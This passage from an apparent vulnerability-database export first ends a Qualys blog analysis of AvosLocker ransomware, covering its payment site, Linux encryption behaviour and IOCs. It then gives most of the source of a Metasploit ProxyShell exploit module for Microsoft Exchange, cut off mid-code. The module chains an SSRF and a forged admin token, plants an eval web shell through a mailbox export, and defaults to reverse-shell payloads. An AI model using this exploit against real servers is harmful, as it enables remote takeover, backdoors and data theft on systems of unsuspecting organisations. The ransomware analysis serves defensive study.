to visit the onion address with the TOR browser to pay the ransom and to obtain the decryption key to decrypt the application or files.\n\n#### AvosLocker Payment System\n\nAfter submitting the "ID" mentioned on the ransom note to AvosLocker's website (fig. 19), the victim will be redirected to the "payment" page.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-19-AvosLockers-Website.png)Fig. 19: AvosLocker's Website\n\nIf the victim fails to pay the ransom, the attacker then puts the victim\u2019s data up for sale. Figure 20 shows the list of victims (redacted for obvious reasons) mentioned on the site.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-20-List-of-Victims.png)Fig. 20: List of Victims\n\nAvosLocker also offers an affiliate program that provides ransomware-as-a-service (RaaS). They provide \u201chelpful\u201d services to clients such as:\n\n * Supports Windows, Linux & ESXi.\n * Affiliate panel\n * Negotiation panel with push & sound notifications\n * Assistance in negotiations\n * Consultations on operations\n * Automatic builds\n * Automatic decryption tests\n * Encryption of network resources\n * Killing of processes and services with open handles to files\n * Highly configurable builds\n * Removal of shadow copies\n * Data storage\n * DDoS attacks\n * Calling services\n * Diverse network of penetration testers, access brokers and other contacts\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-21-Partnership-Program.png)Fig. 21: Partnership Program\n\n### Technical Analysis of AvosLocker Linux Variant\n\nIn this case, the AvosLocker malware arrives as an elf file. As shown in figure 22, the analyzed file is x64 based Linux executable file.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-22-FileDetails.png)Fig. 22: File Details\n\nIt\u2019s a command-line application having some command-line options (fig. 23).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-23-Command-Line-Options.png)Fig. 23: Command-Line Options\n\nThe `<Thread count>` parameter as shown above represents the number of threads that can be created to encrypt files simultaneously. It possesses the capability to kill ESXi VMs based on the parameter provided while executing.\n\nUpon execution, the malware first collects information about the number of threads that need to be created. Then it checks for string \u201cvmfs\u201d in the file path provided as a command-line argument (fig. 24).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-24-Checks-for-vmfs.png)Fig. 24: Checks for \u201cvmfs\u201d\n\nAfter that, it also checks for string \u201cESXi\u201d in the file path provided as a command-line argument (fig. 25).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-25-Checks-for-ESXi.png)Fig. 25: Checks for \u201cESXi\u201d\n\nIf this parameter is found, then it calls a routine to kill the running ESXi virtual machine (fig. 26).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-26-Code-to-Kill-ESXi-Virtual-Machine.png)Fig. 26: Code to Kill ESXi Virtual Machine\n\nThe command used for killing the ESXi virtual machine is as shown in figure 27.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-27-CommandToKillRunning_ESXi_Virtual_Machines.png)Fig. 27: Command to Kill Running ESXi Virtual Machine\n\nFurther, AvosLocker drops a ransom note file (fig. 28) at the targeted directory.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-28_Create_Ransom_Note.png)Fig. 28: Create ransom note\n\nAfter that, it starts creating a list of files that must be encrypted. Before adding a file path to the list, it checks whether it is a regular file or not (fig. 29). Only regular files are added to the encryption list.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-29-Check-File-Info.png)Fig. 29: Checks File Info\n\nAvosLocker skips the ransom note file and any files with the extension \u201cavoslinux\u201d from adding into the encryption list (fig. 30).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-30-Skip-avoslinux-extension-filet.png)Fig. 30: Skip \u201cavoslinux\u201d Extension File\n\nThen it calls the mutex lock/unlock API for thread synchronization as shown in figure 31.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-31-Lock-Unlock-Mutex-For-Thread-Synchronization.png)Fig. 31: Lock-Unlock Mutex for Thread Synchronization\n\nBased on the number of threads specified, it creates concurrent CPU threads (fig. 32). This helps in encrypting different files simultaneously at a very fast speed.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-32-Create-Threads-In-Loop.png)Fig. 32: Create Threads in Loop\n\nAvosLocker\u2019s Linux variant makes use of Advanced Encryption Standard (AES) and elliptic-curve cryptography (ECC) algorithms for data encryption.\n\nFile-related information along with the encryption key used might be encrypted and then encoded with base 64 formats. This encoded information is added at the end of each encrypted file (fig. 33).\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-33-File_Related_Info_Adde_At_End.png)Fig. 33: File-related Info added at the end\n\nFigure 34 shows the malware appending the extension \u201c.avoslinux\u201d to the encrypted file names.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-34-Files_Encrypted.png)Fig. 34: Append file extension \u201c.avoslinux\u201d after encryption\n\nBefore starting file encryption, it creates a ransom note named \u201cREADME_FOR_RESTORE \u201c. The content of this ransom note is shown in figure 35.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/03/Fig-35-RansomNote.png)Fig. 35: Ransom Note\n\nThe ransom note instructs the victim not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with a TOR browser to pay the ransom and to obtain the decryption key and decryption application.\n\n### Indicators of Compromise (IOCs):\n \n \n Windows: C0A42741EEF72991D9D0EE8B6C0531FC19151457A8B59BDCF7B6373D1FE56E02\n \n \n Linux: 7C935DCD672C4854495F41008120288E8E1C144089F1F06A23BD0A0F52A544B1\n \n \n URL:\n hxxp://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad[.]onion.\n hxxp://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad[.]onion\n\n### TTP Map:\n\nInitial Access| Execution| Defense Evasion| Discovery| Impact \n---|---|---|---|--- \nPhishing (T1566)| User Execution \n(T1204)| Obfuscated Files or Information (T1027)| System Information Discovery (T1082)| Data Encrypted for Impact \n(T1486) \n| | | File and Directory Discovery (T1083)| Inhibit System Recovery \n(T1490)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-07T05:18:46", "type": "qualysblog", "title": "AvosLocker Ransomware Behavior Examined on Windows & Linux", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-07T05:18:46", "id": "QUALYSBLOG:DC0F3E59C4DA6EB885E6BCAB292BCA7D", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2021-08-20T15:47:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyShell Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "PACKETSTORM:163895", "href": "https://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'winrm' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyShell RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker to bypass the authentication (CVE-2021-31207), impersonate an \narbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, \nExchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, \nExchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Discovery \n'Jang (@testanull)', # Vulnerability analysis \n'PeterJson', # Vulnerability analysis \n'brandonshi123', # Vulnerability analysis \n'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template \n'Spencer McIntyre', # Metasploit module \n'wvu' # Testing \n], \n'References' => [ \n[ 'CVE', '2021-34473' ], \n[ 'CVE', '2021-34523' ], \n[ 'CVE', '2021-31207' ], \n[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ], \n[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ], \n[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ] \n], \n'DisclosureDate' => '2021-04-06', # pwn2own 2021 \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyShell'], \n'Reliability' => [REPEATABLE_SESSION] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]), \n]) \n \nregister_advanced_options([ \nOptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']), \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef check \n@ssrf_email ||= Faker::Internet.email \nres = send_http('GET', '/mapi/nspi/') \nreturn CheckCode::Unknown if res.nil? \nreturn CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' \n \nCheckCode::Vulnerable \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef request_autodiscover(_server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n'/autodiscover/autodiscover.xml', \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n{ server: server, legacy_dn: legacy_dn } \nend \n \ndef request_fqdn \nntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nreceived = send_request_raw( \n'method' => 'RPC_IN_DATA', \n'uri' => normalize_uri('rpc', 'rpcproxy.dll'), \n'headers' => { \n'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\" \n} \n) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nif received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i) \nhash = received['WWW-Authenticate'].split('NTLM ')[1] \nmessage = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) \ndns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] \n \nreturn dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase \nend \n \nfail_with(Failure::NotFound, 'No Backend server was found') \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(_server_name, legacy_dn) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n'/mapi/emsmdb', \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response&.code == 200 \nsid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_34473 \nif datastore['BackendServerName'] && !datastore['BackendServerName'].empty? \nserver_name = datastore['BackendServerName'] \nprint_status(\"Internal server name forced to: #{server_name}\") \nelse \nprint_status('Retrieving backend FQDN over RPC request') \nserver_name = request_fqdn \nprint_status(\"Internal server name: #{server_name}\") \nend \n@backend_server_name = server_name \n \n# get information via an autodiscover request. \nprint_status('Sending autodiscover request') \nautodiscover = request_autodiscover(server_name) \n \nprint_status(\"Server: #{autodiscover[:server]}\") \nprint_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\") \n \n# get the user UID using mapi request. \nprint_status('Sending mapi request') \nmailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn]) \nprint_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\") \n \nsend_payload(mailbox_user_sid) \n@common_access_token = build_token(mailbox_user_sid) \nend \n \ndef send_http(method, uri, opts = {}) \nssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nunless opts[:cookie] == :none \nopts[:cookie] = \"Email=#{ssrf}\" \nend \n \nrequest = { \n'method' => method, \n'uri' => \"/#{ssrf}#{uri}\", \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype], \n'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' } \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef send_payload(user_sid) \n@shell_input_name = rand_text_alphanumeric(8..12) \n@draft_subject = rand_text_alphanumeric(8..12) \npayload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\")) \nfile_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\" \nenvelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject) \n \nsend_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8') \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \ndatastore['IISWritePath'].gsub('\\\\', '/') \nelse \ndatastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nend \n \ndef build_token(sid) \nuint8_tlv = proc do |type, value| \ntype + [value.length].pack('C') + value \nend \n \ntoken = uint8_tlv.call('V', \"\\x00\") \ntoken << uint8_tlv.call('T', 'Windows') \ntoken << \"\\x43\\x00\" \ntoken << uint8_tlv.call('A', 'Kerberos') \ntoken << uint8_tlv.call('L', datastore['EMAIL']) \ntoken << uint8_tlv.call('U', sid) \n \n# group data for S-1-5-32-544 \ntoken << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\" \nRex::Text.encode_base64(token) \nend \n \ndef execute_powershell(cmdlet, args: []) \nwinrm = SSRFWinRMConnection.new({ \nendpoint: full_uri('PowerShell/'), \ntransport: :ssrf, \nssrf_proc: proc do |method, uri, opts| \nuri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\" \nuri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nopts[:cookie] = :none \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>}, \n\"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\" \n) \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>}, \n\"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\" \n) \nsend_http(method, uri, opts) \nend \n}) \n \nwinrm.shell(:powershell) do |shell| \nshell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH) \nshell.extend(SSRFWinRMConnection::PowerShell) \nshell.run({ cmdlet: cmdlet, args: args }) \nend \nend \n \ndef exploit \n@ssrf_email ||= Faker::Internet.email \nprint_status('Attempt to exploit for CVE-2021-34473') \nrun_cve_2021_34473 \n \npowershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none) \nfail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200 \n \nprint_status('Assigning the \\'Mailbox Import Export\\' role') \nexecute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ]) \n \n@shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\" \nif datastore['UseAlternatePath'] \nunc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nelse \nunc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nend \n \nnormal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\') \nprint_status(\"Writing to: #{normal_path}\") \nregister_file_for_cleanup(normal_path) \n \n@export_name = rand_text_alphanumeric(8..12) \nexecute_powershell('New-MailboxExportRequest', args: [ \n{ name: '-Name', value: @export_name }, \n{ name: '-Mailbox', value: datastore['EMAIL'] }, \n{ name: '-IncludeFolders', value: '#Drafts#' }, \n{ name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" }, \n{ name: '-ExcludeDumpster' }, \n{ name: '-FilePath', value: unc_path } \n]) \n \nprint_status('Waiting for the export request to complete...') \n30.times do \nif execute_command('whoami')&.code == 200 \nprint_good('The mailbox export request has completed') \nbreak \nend \nsleep 5 \nend \n \nprint_status('Triggering the payload') \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nboundary = rand_text_alphanumeric(8..12) \nresponse = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\") \n \nprint_warning('Dumping command output in response') \nif response.body =~ /START#{boundary}(.*)END#{boundary}/m \nprint_line(Regexp.last_match(1).strip) \nelse \nprint_error('Empty response, no command output') \nend \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \ndef cleanup \nsuper \nreturn unless @common_access_token && @export_name \n \nprint_status('Removing the mailbox export request') \nexecute_powershell('Remove-MailboxExportRequest', args: [ \n{ name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" }, \n{ name: '-Confirm', value: false } \n]) \nend \n \ndef execute_command(cmd, _opts = {}) \nif !cmd_windows_generic? \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\" \nelse \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nend \n \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @shell_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@shell_input_name}=#{cmd}\" \n) \nend \nend \n \nclass PstEncoding \nENCODE_TABLE = [ \n71, 241, 180, 230, 11, 106, 114, 72, \n133, 78, 158, 235, 226, 248, 148, 83, \n224, 187, 160, 2, 232, 90, 9, 171, \n219, 227, 186, 198, 124, 195, 16, 221, \n57, 5, 150, 48, 245, 55, 96, 130, \n140, 201, 19, 74, 107, 29, 243, 251, \n143, 38, 151, 202, 145, 23, 1, 196, \n50, 45, 110, 49, 149, 255, 217, 35, \n209, 0, 94, 121, 220, 68, 59, 26, \n40, 197, 97, 87, 32, 144, 61, 131, \n185, 67, 190, 103, 210, 70, 66, 118, \n192, 109, 91, 126, 178, 15, 22, 41, \n60, 169, 3, 84, 13, 218, 93, 223, \n246, 183, 199, 98, 205, 141, 6, 211, \n105, 92, 134, 214, 20, 247, 165, 102, \n117, 172, 177, 233, 69, 33, 112, 12, \n135, 159, 116, 164, 34, 76, 111, 191, \n31, 86, 170, 46, 179, 120, 51, 80, \n176, 163, 146, 188, 207, 25, 28, 167, \n99, 203, 30, 77, 62, 75, 27, 155, \n79, 231, 240, 238, 173, 58, 181, 89, \n4, 234, 64, 85, 37, 81, 229, 122, \n137, 56, 104, 82, 123, 252, 39, 174, \n215, 189, 250, 7, 244, 204, 142, 95, \n239, 53, 156, 132, 43, 21, 213, 119, \n52, 73, 182, 18, 10, 127, 113, 136, \n253, 157, 24, 65, 125, 147, 216, 88, \n44, 206, 254, 36, 175, 222, 184, 54, \n200, 161, 128, 166, 153, 152, 168, 47, \n14, 129, 101, 115, 228, 194, 162, 138, \n212, 225, 17, 208, 8, 139, 42, 242, \n237, 154, 100, 63, 193, 108, 249, 236 \n].freeze \n \ndef self.encode(data) \nencoded = '' \ndata.each_char do |char| \nencoded << ENCODE_TABLE[char.ord].chr \nend \nencoded \nend \nend \n \nclass XMLTemplate \ndef self.render(template_name, context = nil) \nfile_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\") \ntemplate = ::File.binread(file_path) \ncase context \nwhen Hash \nb = binding \nlocals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" } \nb.eval(locals.join) \nelse \nraise ArgumentError \nend \nb.eval(Erubi::Engine.new(template).src) \nend \nend \n \nclass SSRFWinRMConnection < WinRM::Connection \nclass MessageFactory < WinRM::PSRP::MessageFactory \ndef self.create_pipeline_message(runspace_pool_id, pipeline_id, command) \nWinRM::PSRP::Message.new( \nrunspace_pool_id, \nWinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline], \nXMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]), \npipeline_id \n) \nend \nend \n \n# we have to define this class so we can define our own transport factory that provides one backed by the SSRF \n# vulnerability \nclass TransportFactory < WinRM::HTTP::TransportFactory \nclass HttpSsrf < WinRM::HTTP::HttpTransport \n# rubocop:disable Lint/ \ndef initialize(endpoint, options) \n@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint \n@ssrf_proc = 